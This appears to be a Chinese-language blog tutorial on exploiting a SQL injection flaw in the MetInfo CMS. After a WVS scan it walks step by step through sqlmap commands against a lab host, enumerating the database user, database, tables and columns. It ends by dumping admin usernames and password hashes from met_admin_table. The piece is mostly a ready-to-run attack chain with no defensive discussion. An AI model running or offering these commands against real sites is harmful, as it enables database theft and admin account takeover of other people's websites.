MetInfo，是一款强大的企业网站管理，采用+Mysql架构。
叉叉下载的是的免费版本，咱不是大拿，不会分析，直接丢到WVS里面扫
发现注入点，打开我们的backtrack5,运行Sqlmap神器
![ScreenClip [2]](http://www.lhsxpumps.com/_images/10qianwan/20180125/b_1_201801250248385470.jpg)
获取当前用户名称,输入命令:python sqlmap.py -u http://192.168.121.1/MetInfo/about/show.php?id=22 –current-user
![ScreenClip [3]](http://www.lhsxpumps.com/_images/10qianwan/20180125/b_1_201801250248394999.jpg)
获取当前数据库名称，输入命令:python sqlmap.py -u http://192.168.121.1/MetInfo/about/show.php?id=22 –current-db
![ScreenClip [4]](http://www.lhsxpumps.com/_images/10qianwan/20180125/b_1_201801250248393556.jpg){kind=small}
得到数据库名为：met
![ScreenClip [5]](http://www.lhsxpumps.com/_images/10qianwan/20180125/b_1_201801250248395627.jpg)
列数据库表名，输入命令：python sqlmap.py -u http://192.168.121.1/MetInfo/about/show.php?id=22 –tables -D “met“成功得到”met”数据库的表名如下图：
![ScreenClip [6]](http://www.lhsxpumps.com/_images/10qianwan/20180125/b_1_201801250248396628.jpg)
列admin表的字段，输入命令：python sqlmap.py -u http://192.168.121.1/MetInfo/about/show.php?id=22 –columns -T “met_admin_table“ -D “met”
![ScreenClip [7]](http://www.lhsxpumps.com/_images/10qianwan/20180125/b_1_201801250248408698.jpg)
上图显示成功获取met_admin_table表的字段，下面dump出admin_name和admin_pass内容，输入命令：python sqlmap.py -u http://192.168.121.1/MetInfo/about/show.php?id=22 –dump -C “admin_pass,admin_name” -T “met_admin_table” -D “met”
如对本文有疑问， 点击进行留言回复！！
我要评论
网友评论